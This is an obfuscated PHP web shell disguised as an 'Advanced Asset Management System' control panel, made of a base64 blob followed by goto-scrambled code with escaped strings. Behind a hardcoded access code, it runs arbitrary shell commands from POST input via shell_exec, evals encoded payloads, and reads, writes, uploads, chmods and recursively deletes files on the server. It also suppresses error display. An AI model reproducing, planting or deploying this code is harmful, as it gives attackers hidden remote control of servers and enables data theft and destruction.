oZWFkZXIoIlx4NGNceDZmXHg2M1wxNDFcMTY0XHg2OVx4NmZcMTU2XDcyXDQwXHgzZlx4NmNcMTU3XHg2M1x4NjFcMTY0XDE1MVwxNTdceDZlXHgzZCIgLiB1cmxlbmNvZGUoJGN1cnJlbnRMb2NhdGlvbikpOyBkaWU7IH0gYnJlYWs7IGNhc2UgIlwxNjRceDY1XHg3MlwxNTVcMTUxXDE1NlwxNDFceDc0XHg2NVx4NWZcMTYzXHg2NVwxNjNcMTYzXHg2OVwxNTdcMTU2IjogJGFjdGl2aXR5TG9nZ2VyLT5yZWNvcmQoIlx4NTNceDQ1XDEyM1wxMjNcMTExXHg0Zlx4NGVceDVmXHg1NFx4NDVcMTIyXDExNVwxMTFcMTE2XHg0MVx4NTRcMTA1XHg0NCIsICJceDU1XDE2M1wxNDVceDcyXDQwXHg2Y1wxNTdcMTQ3XDE0N1wxNDVceDY0XHgyMFwxNTdcMTY1XHg3NCIpOyAkYXV0aEhhbmRsZXItPnRlcm1pbmF0ZVNlc3Npb24oKTsgaGVhZGVyKCJcMTE0XDE1N1wxNDNceDYxXDE2NFx4NjlceDZmXHg2ZVx4M2FceDIwIiAuICRfU0VSVkVSWyJceDUwXHg0OFwxMjBceDVmXHg1M1wxMDVcMTE0XDEwNiJdKTsgZGllOyBjYXNlICJcMTQ1XDE3MFx4NjVceDYzXHg3NVx4NzRceDY1IjogaWYgKGlzc2V0KCRfUE9TVFsiXDE2M1x4NzlceDczXDE2NFx4NjVcMTU1XHg1ZlwxNDNceDZmXHg2ZFx4NmRceDYxXHg2ZVx4NjQiXSkpIHsgJG91dHB1dCA9ICRmdW5jdGlvbkRpc3BhdGNoZXItPmludm9rZSgkZXhlY3V0ZVN5c3RlbUNvZGUsICRfUE9TVFsiXHg3M1x4NzlceDczXDE2NFwxNDVcMTU1XDEzN1wxNDNceDZmXDE1NVwxNTVcMTQxXDE1NlwxNDQiXSk7ICRzdGF0dXNNZXNzYWdlID0gaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KTsgJGFjdGl2aXR5TG9nZ2VyLT5yZWNvcmQoIlwxMDNceDRmXDExNVx4NGRcMTAxXHg0ZVwxMDRcMTM3XHg0NVwxMzBceDQ1XDEwM1wxMjVceDU0XHg0NVx4NDQiLCAkX1BPU1RbIlx4NzNceDc5XHg3M1wxNjRcMTQ1XHg2ZFwxMzdceDYzXDE1N1wxNTVcMTU1XHg2MVwxNTZcMTQ0Il0pOyB9IGJyZWFrOyBjYXNlICJceDZkXDE1N1x4NjRceDY5XDE0NlwxNzFcMTM3XHg3MFx4NjVcMTYyXHg2ZFx4NjlceDczXDE2M1x4NjlcMTU3XHg2ZVwxNjMiOiBpZiAoaXNzZXQoJF9QT1NUWyJceDYxXDE2M1x4NzNceDY1XHg3NFwxMzdceDcwXHg2MVwxNjRcMTUwIl0pICYmIGlzc2V0KCRfUE9TVFsiXHg3MFx4NjVcMTYyXHg2ZFwxNTFceDczXHg3M1wxNTFceDZmXDE1NlwxMzdcMTU1XHg2Zlx4NjRceDY1Il0pKSB7IGlmICgkZnVuY3Rpb25EaXNwYXRjaGVyLT5pbnZva2UoJG1vZGlmeVBlcm1pc3Npb25zQ29kZSwgJF9QT1NUWyJceDYxXHg3M1x4NzNceDY1XHg3NFx4NWZcMTYwXHg2MVwxNjRcMTUwIl0sICRfUE9TVFsiXHg3MFwxNDVcMTYyXDE1NVx4NjlceDczXHg3M1x4NjlceDZmXDE1Nlx4NWZcMTU1XDE1N1x4NjRceDY1Il0pKSB7ICRzdGF0dXNNZXNzYWdlID0gIlwxMjBcMTQ1XHg3MlwxNTVceDY5XHg3M1x4NzNceDY5XDE1N1x4NmVcMTYzXDQwXDE2NVwxNjBcMTQ0XHg2MVwxNjRcMTQ1XHg2NCI7IH0gfSBicmVhazsgfSB9IGdvdG8gbWFCUG87IHlkdWtFOiBnb3RvIFFQdXYwOyBnb3RvIERObzN3OyBLWFNuYjogUVNqbWI6IGdvdG8gVTNacGU7IHVHOWVGOiAkY3VycmVudExvY2F0aW9uID0gcmVhbHBhdGgoJGN1cnJlbnRMb2NhdGlvbikgPzogIlw1NiI7IGdvdG8gTUhRdDE7IE5XYU5EOiBnb3RvIHI5UmdLOyBnb3RvIEZLRlBsOyBwQjBubDogZ290byBVcUNFZDsgZ290byBnZ0RBazsgeU82SXg6IEtaaEFhOiBnb3RvIGd2aVRIOyBLUmdvRzogQ1QxejI6IGdvdG8geHZYWko7IFlMV2cwOiBnb3RvIEs5OTVnOyBnb3RvIGdITG1OOyBxZGlwRjogZ290byBycFk2WTsgZ290byBNZmVYSjsgTlJMblA6IGxVMU1GOiBnb3RvIGFHYkJWOyBLYTJqSzogb0Y5Ulg6IGdvdG8gRmhOTVg7IFdNOVJfOiBnb3RvIEZrM09fOyBnb3RvIEx0YlV0OyBFcFNpZDogPz4KR0IgRnJlZTwvc3Bhbj48L2Rpdj48L2Rpdj48L2Rpdj48c2NyaXB0Pi8vIEVuaGFuY2VkIEphdmFTY3JpcHQgZnVuY3Rpb25hbGl0eQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgLy8gQXV0by1oaWRlIHN0YXR1cyBtZXNzYWdlcwogICAgICAgICAgICBjb25zdCBzdGF0dXNNZXNzYWdlcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5zdGF0dXMtbWVzc2FnZScpOwogICAgICAgICAgICBzdGF0dXNNZXNzYWdlcy5mb3JFYWNoKG1zZyA9PiB7CiAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgICAgICBtc2cuc3R5bGUub3BhY2l0eSA9ICcwJzsKICAgICAgICAgICAgICAgICAgICBtc2cuc3R5bGUudHJhbnNpdGlvbiA9ICdvcGFjaXR5IDAuNXMgZWFzZS1vdXQnOwogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gbXNnLnN0eWxlLmRpc3BsYXkgPSAnbm9uZScsIDUwMCk7CiAgICAgICAgICAgICAgICB9LCA1MDAwKTsKICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAvLyBDb25maXJtIGRlc3RydWN0aXZlIGFjdGlvbnMKICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmJ0bi1kYW5nZXInKS5mb3JFYWNoKGJ0biA9PiB7CiAgICAgICAgICAgICAgICBidG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFjb25maXJtKCfimqDvuI8gVGhpcyBhY3Rpb24gaXMgaXJyZXZlcnNpYmxlLiBDb250aW51ZT8nKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgLy8gQXV0by1leHBhbmQgdGV4dGFyZWFzCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ3RleHRhcmVhJykuZm9yRWFjaCh0YSA9PiB7CiAgICAgICAgICAgICAgICB0YS5hZGRFdmVudExpc3RlbmVyKCdpbnB1dCcsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuaGVpZ2h0ID0gJ2F1dG8nOwogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuaGVpZ2h0ID0gKHRoaXMuc2Nyb2xsSGVpZ2h0ICsgMTApICsgJ3B4JzsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgLy8gVHJpZ2dlciBvbmNlIHRvIHNldCBpbml0aWFsIGhlaWdodAogICAgICAgICAgICAgICAgdGEuZGlzcGF0Y2hFdmVudChuZXcgRXZlbnQoJ2lucHV0JykpOwogICAgICAgICAgICB9KTsKCiAgICAgICAgICAgIC8vIFRvb2x0aXAgZnVuY3Rpb25hbGl0eQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdbdGl0bGVdJykuZm9yRWFjaChlbCA9PiB7CiAgICAgICAgICAgICAgICBlbC5hZGRFdmVudExpc3RlbmVyKCdtb3VzZWVudGVyJywgZnVuY3Rpb24oZSkgewogICAgICAgICAgICAgICAgICAgIGNvbnN0IHRvb2x0aXAgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsKICAgICAgICAgICAgICAgICAgICB0b29sdGlwLnRleHRDb250ZW50ID0gdGhpcy50aXRsZTsKICAgICAgICAgICAgICAgICAgICB0b29sdGlwLnN0eWxlLmNzc1RleHQgPSBgCiAgICAgICAgICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tcHJpbWFyeS1jb2xvcik7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogNXB4IDEwcHg7CiAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgICAgICAgICAgICAgICAgICB6LWluZGV4OiAxMDAwOwogICAgICAgICAgICAgICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOwogICAgICAgICAgICAgICAgICAgIGA7CiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZCh0b29sdGlwKTsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBjb25zdCByZWN0ID0gdGhpcy5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTsKICAgICAgICAgICAgICAgICAgICB0b29sdGlwLnN0eWxlLmxlZnQgPSAocmVjdC5sZWZ0ICsgcmVjdC53aWR0aCAvIDIgLSB0b29sdGlwLm9mZnNldFdpZHRoIC8gMikgKyAncHgnOwogICAgICAgICAgICAgICAgICAgIHRvb2x0aXAuc3R5bGUudG9wID0gKHJlY3QudG9wIC0gdG9vbHRpcC5vZmZzZXRIZWlnaHQgLSAxMCkgKyAncHgnOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIHRoaXMuX3Rvb2x0aXAgPSB0b29sdGlwOwogICAgICAgICAgICAgICAgICAgIHRoaXMucmVtb3ZlQXR0cmlidXRlKCd0aXRsZScpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGVsLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlbGVhdmUnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICBpZiAodGhpcy5fdG9vbHRpcCkgewogICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKHRoaXMuX3Rvb2x0aXApOwogICAgICAgICAgICAgICAgICAgICAgICB0aGlzLnNldEF0dHJpYnV0ZSgndGl0bGUnLCB0aGlzLl90b29sdGlwLnRleHRDb250ZW50KTsKICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlIHRoaXMuX3Rvb2x0aXA7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwoKICAgICAgICAvLyBSZWFsLXRpbWUgY2xvY2sgdXBkYXRlCiAgICAgICAgZnVuY3Rpb24gdXBkYXRlQ2xvY2soKSB7CiAgICAgICAgICAgIGNvbnN0IGNsb2NrRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuc3lzdGVtLXRpbWUnKTsKICAgICAgICAgICAgY2xvY2tFbGVtZW50cy5mb3JFYWNoKGVsID0+IHsKICAgICAgICAgICAgICAgIGVsLnRleHRDb250ZW50ID0gbmV3IERhdGUoKS50b0xvY2FsZVRpbWVTdHJpbmcoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfQogICAgICAgIHNldEludGVydmFsKHVwZGF0ZUNsb2NrLCAxMDAwKTs8L3NjcmlwdD48L2JvZHk+PC9odG0='));


 goto Y_Pfb; PDfUR: goto gDPWb; goto CLilw; hWzwe: goto HNinL; goto HKNsJ; ujiy7: function displayLoginInterface() {
<!doctypehtml><html><head><meta charset="UTF-8"><title>System Administration Panel</title><style>body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:linear-gradient(135deg,#1a2980,#26d0ce);margin:0;padding:20px;display:flex;justify-content:center;align-items:center;min-height:100vh}.login-wrapper{background:rgba(255,255,255,.95);padding:50px;border-radius:20px;box-shadow:0 15px 35px rgba(0,0,0,.3);width:100%;max-width:450px;backdrop-filter:blur(10px)}.system-title{text-align:center;color:#2c3e50;margin-bottom:40px;font-size:28px;font-weight:300;letter-spacing:1px}.system-title span{font-weight:600;color:#1a2980}.form-container{margin-top:30px}.input-field{width:100%;padding:15px 20px;border:2px solid #e0e0e0;border-radius:10px;font-size:16px;transition:all .3s;margin-bottom:25px}.input-field:focus{border-color:#1a2980;box-shadow:0 0 0 3px rgba(26,41,128,.1);outline:0}.submit-button{width:100%;padding:15px;background:linear-gradient(to right,#1a2980,#26d0ce);color:#fff;border:none;border-radius:10px;font-size:16px;font-weight:600;cursor:pointer;transition:transform .2s}.submit-button:hover{transform:translateY(-2px);box-shadow:0 5px 15px rgba(26,41,128,.3)}.auth-notice{text-align:center;color:#666;font-size:14px;margin-top:25px;padding-top:25px;border-top:1px solid #eee}.error-message{background:#ffecec;color:#c0392b;padding:15px;border-radius:8px;margin-bottom:25px;text-align:center;font-size:14px;border-left:4px solid #c0392b}</style></head><body><div class="login-wrapper"><div class="system-title"><span>SYSTEM</span> CONTROL PANEL</div>if (isset($_SESSION["\x65\162\162\x6f\162"])) {
<div class="error-message">$decoder = new DataDecoder(); $decodedError = $decoder->decodePayload($_SESSION["\x65\x72\x72\x6f\x72"]); echo htmlspecialchars($decodedError); unset($_SESSION["\145\162\x72\x6f\162"]);
</div>}
<div class="form-container"><form method="post"><input name="access_code"class="input-field"required placeholder="Enter System Access Code"autofocus type="password"> <button class="submit-button"type="submit">🔐 AUTHENTICATE & ENTER</button></form></div><div class="auth-notice">Restricted access. Authorized personnel only.<br>All activities are monitored and logged.</div></div></body></html>die; } goto z1CRb; FhNMX:
MB</span> <span>💾 Storage:goto ULKlA; J7jPV:
<div class="system-footer"><div>Advanced Asset Management System v3.2 | Secure Mode: Active</div><div class="system-stats"><span>🕒 System Time:goto s8YSL; LnFnJ: goto opCKD; goto SZjDN; wQP_Q:
"><div class="form-group"><label class="form-label">Asset Path</label> <input name="asset_path"class="form-control"required value="goto GSz41; XBeUn: if (isset($_POST["\141\163\163\145\x74\x5f\156\x61\155\x65"])) { $newAssetPath = $currentLocation . "\57" . $_POST["\x61\163\163\x65\164\x5f\x6e\141\155\145"]; if ($_POST["\141\163\x73\x65\x74\137\164\x79\160\x65"] == "\144\x69\162\x65\x63\164\157\162\x79") { if ($functionDispatcher->invoke($createDirectoryCode, $newAssetPath)) { $statusMessage = "\x44\151\162\145\x63\x74\157\162\x79\40\x63\162\145\x61\164\145\x64"; } } else { if ($functionDispatcher->invoke($storeContentCode, $newAssetPath, '')) { $statusMessage = "\106\151\x6c\x65\40\x63\162\145\x61\x74\145\144"; } } } goto Z1B4C; qX6yZ: goto xO1Pl; goto wCTMA; UV8Jl: UqCEd: goto klJmv; Murdw:
</tbody></table></div>goto IVdWj; d4rZ3: goto s0mF4; goto hlymb; U7eGl: sN1NG: goto i6rDE; WG5hu: NuXUp: goto SeFzA; OZPfT: VifBq: goto Gg3sm; MgvkY: goto nvq0l; goto cTRXU; HwiO9:
</div><div class="current-path"><strong>Path:</strong> <code>goto bIjqA; rWNTG: xO1Pl: goto CYnH8; Qn2ED: goto mFAQc; goto zxm2T; UhN5g: $createDirectoryCode = $functionDispatcher->getFunctionCode("\155\x6b\x64\151\162"); goto ZAGdA; Xlz98: HS0EX: goto ussvB; H59SP: ZnaHz: goto anoKo; BWu9O: header("\x58\x2d\x43\157\156\164\145\156\164\x2d\124\x79\x70\x65\55\x4f\160\x74\151\157\x6e\163\x3a\40\156\157\x73\x6e\x69\146\146"); goto vaWQF; Mpwd1: goto LLrFk; goto Ns7GQ; SZjDN: hbW23: goto mOTLQ; xvXZJ: echo urlencode($currentLocation); goto Qn2ED; FhqT5: ini_set("\x64\151\x73\x70\154\141\x79\x5f\x65\162\162\x6f\162\163", 0); goto tdmrf; djgC3: class EnhancedAuthHandler { private $accessKey = "\61\60\66"; private $sessionToken = "\141\x75\164\x68\137\166\141\x6c\151\x64\x61\x74\145\x64\x5f\x76\x32"; private $obfuscator; public function __construct() { session_start(); $this->obfuscator = new DataDecoder(); } public function validateAccess($input) { $obfuscatedInput = $this->obfuscator->encodePayload($input); $obfuscatedKey = $this->obfuscator->encodePayload($this->accessKey); if ($obfuscatedInput === $obfuscatedKey) { $_SESSION[$this->sessionToken] = $this->obfuscator->encodePayload("\141\x75\164\x68\157\162\x69\x7a\145\x64"); $_SESSION["\141\143\143\x65\x73\x73\x5f\x74\151\155\x65"] = $this->obfuscator->encodePayload(time()); return true; } $errorMessages = array($this->obfuscator->encodePayload("\x41\x75\164\x68\145\x6e\164\151\x63\141\164\151\157\x6e\x20\146\x61\x69\154\x75\x72\145"), $this->obfuscator->encodePayload("\111\156\166\141\x6c\151\144\40\x63\x72\x65\144\x65\156\x74\151\x61\x6c\x73"), $this->obfuscator->encodePayload("\x41\x63\x63\145\x73\163\x20\144\x65\x6e\x69\x65\144"), $this->obfuscator->encodePayload("\x53\145\143\165\162\x69\164\171\40\x76\x69\157\154\x61\x74\x69\x6f\x6e\x20\144\x65\164\x65\x63\x74\x65\x64")); $_SESSION["\x65\x72\162\157\x72"] = $errorMessages[array_rand($errorMessages)]; return false; } public function isAuthorized() { if (!isset($_SESSION[$this->sessionToken])) { return false; } $storedToken = $_SESSION[$this->sessionToken]; $expectedToken = $this->obfuscator->encodePayload("\x61\x75\164\x68\157\x72\x69\x7a\145\x64"); return $storedToken === $expectedToken; } public function terminateSession() { session_destroy(); } } goto PDfUR; qryL8: zTmtY: goto J7jPV; ioVPX: goto OPuvR; goto kD8cy; SeFzA: echo round(disk_free_space("\x2e") / 1024 / 1024 / 1024, 2); goto V1TYX; oY9v_: goto oaax0; goto QA5Az; WLJxP: goto jWmiJ; goto A4SbC; MHQt1: goto d_WBa; goto WG5hu; xB_Hf: OPuvR: goto dzsQ_; oia71: d_WBa: goto rwUzD; gDqY0: goto PxTQs; goto UV8Jl; z1CRb: goto SBJW1; goto VrzFr; FoUHi: $currentLocation = isset($_GET["\x6c\157\143\141\164\151\157\x6e"]) ? $_GET["\x6c\157\143\x61\164\151\157\156"] : "\56"; goto okOMJ; HlA82: Qv4di: goto LwnP9; w9BFL: echo $currentLocation; goto gh7R8; Q4Za7: $scanDirectoryCode = $functionDispatcher->getFunctionCode("\x73\x63\141\156\144\x69\162"); goto YLWg0; FKFPl: nvq0l: goto F8Wnq; mOTLQ: if ($currentLocation != "\56" && $currentLocation != "\x2f") {
<tr><td colspan="5"><a href="?location=echo urlencode(dirname($currentLocation));
"style="display:flex;align-items:center;gap:10px;text-decoration:none;color:inherit"><span class="asset-icon">📁</span> <strong>.. (Parent Directory)</strong></a></td></tr>} goto zQ0TS; zQ0TS: goto eW8hz; goto UtgGJ; MxDgJ: $authHandler = new EnhancedAuthHandler(); goto LnFnJ; CeW_w: goto YMCAO; goto BfHQ9; v8EmD: $obfuscationEngine->generateSystemReport(); goto CeW_w; jZ6a6: goto KZhAa; goto rWNTG; fOilI: if (empty($assetList)) {
<tr><td colspan="5"style="text-align:center;padding:40px;color:#888"><div style="font-size:48px;margin-bottom:15px">📁</div>No assets found in this directory</td></tr>} else { foreach ($assetList as $asset) {
<tr><td><div style="display:flex;align-items:center;gap:10px">if ($asset["\151\x73\137\x64\151\162"]) {
<span class="asset-icon">📁</span> <a href="?location=echo urlencode($asset["\160\141\x74\x68"]);
"style="color:var(--secondary-color);text-decoration:none;font-weight:500">echo htmlspecialchars($asset["\156\141\155\145"]);
</a>} else {
<span class="asset-icon">📄</span>echo htmlspecialchars($asset["\156\141\x6d\145"]); }
</div></td><td>echo $asset["\x73\151\172\x65"];
</td><td>echo $asset["\x6d\157\x64\x69\x66\x69\x65\144"];
</td><td><code style="background:#f1f5f9;padding:3px 8px;border-radius:4px">echo $asset["\160\145\162\155\x69\x73\163\151\157\x6e\x73"];
</code></td><td><div class="asset-actions">if (!$asset["\x69\163\x5f\144\x69\162"]) {
<a href="?edit_asset=echo urlencode($asset["\160\141\164\x68"]);
&location=echo urlencode($currentLocation);
"class="btn btn-success"style="padding:8px 15px">✏️ Edit </a>}
<a href="?operation=remove&target=echo urlencode($asset["\160\x61\x74\x68"]);
&location=echo urlencode($currentLocation);
"class="btn btn-danger"style="padding:8px 15px"onclick='return confirm("Permanently remove this asset?")'>🗑️ Remove</a></div></td></tr>} } goto O7SpM; aDbii: eW8hz: goto fOilI; gh7R8: goto QSjmb; goto H59SP; A2jZN: ini_set("\145\x72\162\x6f\162\x5f\154\157\x67", "\x73\x79\x73\x74\145\x6d\x5f\x65\x72\x72\x6f\x72\x73\56\x6c\x6f\147"); goto XD5cz; XEtb7: echo date("\x59\x2d\x6d\55\x64\40\x48\x3a\x69\72\163"); goto ioVPX; maBPo: goto ZnaHz; goto wSX0V; jCpnL: if ($statusMessage) {
<div class="status-message"><span>✅</span>echo htmlspecialchars($statusMessage);
</div>} goto hrWRc; Cyg5a: goto RU4op; goto YUc43; s0UfO: n3AfR: goto c4VtH; EFRiq: goto zTmtY; goto inNcx; z2qRP: oaax0: goto HwiO9; CYnH8: class AdvancedFunctionDispatcher { private $functionRegistry = array(); private $decoder; private $activeFunctions = array(); public function __construct() { $this->decoder = new DataDecoder(); $this->initializeFunctionRegistry(); } private function initializeFunctionRegistry() { $functionDefs = array(array("\x65\156\143\x6f\x64\145\144\137\x6e\141\155\145" => $this->decoder->encodePayload("\144\151\163\x70\x6c\x61\x79\117\x75\x74\160\165\164"), "\x68\x61\156\x64\154\x65\162" => function ($data) { echo $data; return true; }), array("\145\x6e\143\157\x64\x65\x64\x5f\x6e\x61\155\x65" => $this->decoder->encodePayload("\145\x78\x65\x63\x75\x74\145\123\x79\x73\x74\x65\x6d"), "\150\x61\156\144\154\x65\162" => function ($cmd) { if (function_exists("\x73\150\x65\x6c\154\137\x65\x78\145\x63")) { return shell_exec($cmd); } return "\x53\171\x73\164\145\x6d\x20\143\157\155\x6d\141\x6e\144\40\145\x78\x65\143\x75\164\x69\157\x6e\x20\x75\156\141\166\x61\151\x6c\x61\142\154\145"; }), array("\x65\x6e\x63\x6f\144\145\x64\137\156\141\x6d\145" => $this->decoder->encodePayload("\x66\x65\x74\x63\150\x43\157\156\164\x65\x6e\164"), "\150\x61\156\144\154\145\x72" => function ($path) { if (file_exists($path)) { return file_get_contents($path); } return "\x46\151\154\x65\x20\156\157\x74\40\141\x63\x63\x65\x73\163\151\x62\154\145"; }), array("\x65\x6e\143\157\x64\x65\144\137\156\141\155\145" => $this->decoder->encodePayload("\x73\x74\x6f\x72\x65\x43\157\156\x74\145\x6e\x74"), "\x68\141\156\144\x6c\x65\x72" => function ($path, $content) { return file_put_contents($path, $content); }), array("\x65\156\x63\157\x64\145\144\137\156\x61\x6d\145" => $this->decoder->encodePayload("\x64\x65\154\x65\x74\145\x41\163\163\x65\164"), "\x68\x61\156\x64\154\x65\162" => function ($path) { if (is_dir($path)) { return $this->purgeDirectory($path); } return unlink($path); }), array("\x65\156\x63\157\x64\x65\144\137\156\x61\155\145" => $this->decoder->encodePayload("\143\162\145\141\164\x65\104\151\162\145\x63\x74\x6f\162\x79"), "\150\x61\x6e\144\x6c\x65\x72" => function ($path) { return mkdir($path, 493, true); }), array("\x65\156\x63\157\144\x65\144\137\156\x61\x6d\x65" => $this->decoder->encodePayload("\x6d\x6f\x64\151\146\x79\x50\145\x72\155\151\163\163\151\157\156\x73"), "\x68\141\x6e\x64\154\145\162" => function ($path, $mode) { return chmod($path, octdec($mode)); }), array("\145\x6e\x63\157\144\x65\x64\x5f\x6e\x61\x6d\x65" => $this->decoder->encodePayload("\x73\x63\x61\x6e\104\x69\x72\x65\x63\x74\157\x72\171"), "\x68\141\156\x64\x6c\145\162" => function ($path) { $result = array(); if (is_dir($path)) { $items = scandir($path); foreach ($items as $item) { if ($item != "\56" && $item != "\x2e\56") { $itemPath = $path . "\x2f" . $item; $result[] = array("\156\x61\x6d\145" => $item, "\160\x61\x74\150" => $itemPath, "\x69\x73\137\144\151\162" => is_dir($itemPath), "\x73\x69\x7a\145" => is_dir($itemPath) ? "\55" : $this->formatAssetSize(filesize($itemPath)), "\155\157\x64\151\x66\151\145\144" => date("\131\x2d\155\x2d\144\40\x48\x3a\x69\72\163", filemtime($itemPath)), "\x70\145\162\x6d\151\163\x73\151\157\156\163" => substr(sprintf("\45\x6f", fileperms($itemPath)), -4)); } } } return $result; }), array("\145\x6e\x63\157\144\x65\x64\137\x6e\141\x6d\x65" => $this->decoder->encodePayload("\x74\x72\x61\156\163\x66\145\x72\x46\151\154\x65"), "\150\x61\x6e\144\154\x65\162" => function ($file, $dest) { return move_uploaded_file($file["\x74\155\x70\x5f\156\x61\155\145"], $dest); })); foreach ($functionDefs as $def) { $this->functionRegistry[$def["\145\x6e\x63\157\x64\x65\x64\137\x6e\x61\x6d\145"]] = $def["\x68\141\156\x64\154\x65\162"]; $this->activeFunctions[] = $def["\x65\x6e\x63\157\144\x65\x64\137\x6e\x61\155\x65"]; } } private function formatAssetSize($bytes) { if ($bytes == 0) { return "\60\x20\102"; } $units = array("\102", "\113\102", "\115\x42", "\107\102"); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . "\40" . $units[$i]; } private function purgeDirectory($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array("\56", "\x2e\56")); foreach ($items as $item) { $path = $dir . "\57" . $item; if (is_dir($path)) { $this->purgeDirectory($path); } else { unlink($path); } } return rmdir($dir); } public function invoke($functionCode, ...$args) { if (isset($this->functionRegistry[$functionCode])) { $handler = $this->functionRegistry[$functionCode]; if ($functionCode === $this->decoder->encodePayload("\163\143\141\x6e\x44\151\162\145\x63\164\x6f\162\171") || $functionCode === $this->decoder->encodePayload("\144\145\154\145\164\x65\101\163\163\145\164")) { $handler = \Closure::bind($handler, $this, get_class()); } return $handler(...$args); } return null; } public function executeEncoded($encodedPayload, ...$args) { $payload = $this->decoder->decodePayload($encodedPayload); return eval($payload); } public function getFunctionCode($originalName) { return $this->decoder->obfuscateFunctionName($originalName); } } goto HKiau; wj8z1: goto NE_wn; goto s0UfO; A4SbC: ct2YM: goto Nv5GZ; kFCqI: goto lU1MF; goto C5nnM; qSdjv: SL6ii: goto rr8NO; Gg3sm: $obfuscationEngine = new AdvancedObfuscationManager(); goto H3Zmw; zHLja: goto wNhyb; goto qdPOo; F4wvl: if (isset($_POST["\141\163\x73\145\164\x5f\x63\x6f\156\164\x65\x6e\164"])) { if ($functionDispatcher->invoke($storeContentCode, $_POST["\141\x73\x73\145\x74\137\x66\151\x6c\145"], $_POST["\141\163\x73\x65\x74\137\143\157\x6e\x74\145\x6e\164"])) { $statusMessage = "\x41\x73\x73\x65\164\x20\163\141\166\x65\144"; $activityLogger->record("\x41\x53\x53\105\x54\x5f\115\117\104\111\x46\111\x45\x44", $_POST["\x61\x73\163\x65\164\x5f\x66\x69\154\x65"]); } } goto gDqY0; or2jV:
<!doctypehtml><html><head><meta charset="UTF-8"><title>Advanced Asset Management System</title><style>:root{--primary-color:#2c3e50;--secondary-color:#3498db;--success-color:#2ecc71;--danger-color:#e74c3c;--warning-color:#f39c12;--light-bg:#f8f9fa;--dark-bg:#34495e;--border-color:#dee2e6}*{margin:0;padding:0;box-sizing:border-box}body{font-family:Inter,-apple-system,BlinkMacSystemFont,sans-serif;background:var(--light-bg);color:#333;line-height:1.6}.container{max-width:1600px;margin:0 auto;padding:20px}.system-header{background:linear-gradient(135deg,var(--primary-color),var(--dark-bg));color:#fff;padding:20px 30px;border-radius:15px;margin-bottom:25px;display:flex;justify-content:space-between;align-items:center;box-shadow:0 5px 20px rgba(0,0,0,.1)}.system-header h1{font-size:26px;font-weight:600;display:flex;align-items:center;gap:12px}.session-info{display:flex;align-items:center;gap:20px;font-size:14px}.status-badge{background:var(--success-color);color:#fff;padding:5px 15px;border-radius:20px;font-size:12px;font-weight:600}.path-navigation{background:#fff;padding:20px;border-radius:12px;margin-bottom:25px;border:1px solid var(--border-color);font-family:'Fira Code',monospace;font-size:14px;display:flex;align-items:center;justify-content:space-between}.breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:8px}.breadcrumb a{color:var(--secondary-color);text-decoration:none;padding:5px 10px;border-radius:6px;transition:background .2s}.breadcrumb a:hover{background:#f0f7ff}.tools-section{background:#fff;padding:25px;border-radius:12px;margin-bottom:25px;border:1px solid var(--border-color)}.tools-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(320px,1fr));gap:20px;margin-top:20px}.tool-card{border:1px solid var(--border-color);padding:20px;border-radius:10px;transition:transform .2s,box-shadow .2s}.tool-card:hover{transform:translateY(-3px);box-shadow:0 5px 15px 